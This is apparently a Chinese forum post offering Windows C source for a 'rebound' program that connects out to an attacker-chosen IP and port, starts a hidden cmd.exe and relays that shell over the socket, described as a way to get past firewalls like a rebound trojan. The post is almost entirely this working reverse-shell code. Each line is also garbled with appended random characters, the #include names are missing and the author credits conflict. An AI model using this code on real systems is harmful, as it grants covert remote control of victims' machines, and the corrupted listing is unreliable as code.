这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 RU'J!-w{
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/* ============================== ls5S9R 5
Rebound port in Windows NT Cm&itG
By wind,2006/7 "N;|~S)w!
===============================*/ S,v`rmI
#include - t+Mh.
#include 'F~u \m=E
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#pragma comment(lib,"wsock32.lib") I
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void OutputShell(); )2A4vU-IR.
SOCKET sClient; R}]FIu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |
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void main(int argc,char **argv) ZAP+jX;
{
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WSADATA stWsaData; v$c D!`+k
int nRet; Ob6vg^#
SOCKADDR_IN stSaiClient,stSaiServer; ibq@0CR
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if(argc != 3) ~:@H6Ke[
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printf("Useage:\n\rRebound DestIP DestPort\n"); l1??b
return; :)z_q!$j
} B?M+`;
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6IX!9I\sT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BAhC-;B#R
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stSaiClient.sin_family = AF_INET; 7~16letQ
stSaiClient.sin_port = htons(0); i~;8'>:|,M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZUu^==a
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yV8).4
{ _pS%tPw
printf("Bind Socket Failed!\n"); EI;\of2,
return; t'J
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} }:%pOL n
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stSaiServer.sin_family = AF_INET; jz)H?UuDY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =6sXZ"_Tw
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s:ruCS
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~g{,W
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printf("Connect Error!"); _x!pMj(A
return; w# e'K-=
} [a3
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OutputShell(); (Ka#6
} d}ZHY[
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void OutputShell() Bag#An1
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char szBuff[1024]; - -G1H
SECURITY_ATTRIBUTES stSecurityAttributes; =Wf@'~K0k"
OSVERSIONINFO stOsversionInfo; `T70FsSJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q-F9oZ*0
STARTUPINFO stStartupInfo; #-;BU{3*
char *szShell; G
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PROCESS_INFORMATION stProcessInformation; L9T u>4
unsigned long lBytesRead; {9Y'v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $<v_Vm?6d
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :~(im_r
stSecurityAttributes.lpSecurityDescriptor = 0; 0REWbcxd"
stSecurityAttributes.bInheritHandle = TRUE; K>[H@|k\k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'T[zh#v>S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kgz{m;R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]lUu%<-;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o(P:f)B
stStartupInfo.wShowWindow = SW_HIDE; RY{tX`
stStartupInfo.hStdInput = hReadPipe; =FmU]DV
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x/=j$oA
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GetVersionEx(&stOsversionInfo); qedGBl&
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switch(stOsversionInfo.dwPlatformId) $T6Qg(p
{
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case 1: GcR`{ 3hO
szShell = "command.com"; (5~C
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break; B$l`9!,
default: 9#<Og>t2y
szShell = "cmd.exe"; 5-^%\?,x
break; 8-:k@W
} ^%&x{F.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Jdn*?hc+
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send(sClient,szMsg,77,0); >|)0Amt
while(1) >x4[7YAU{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t\i1VXtO
if(lBytesRead) =[JN'|Q+
{ sw|:Z(`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |a{]P=<q
send(sClient,szBuff,lBytesRead,0); `fZD%o3l
} 2HXKz7da
else 9Yyg}l:
{ Nb~dw;t
lBytesRead=recv(sClient,szBuff,1024,0); C8E C?fSQ
if(lBytesRead<=0) break; /\rq$W_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N-`;\
} v9U(sEDq
} JtpY][}"~3
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return; N?;o_^C
}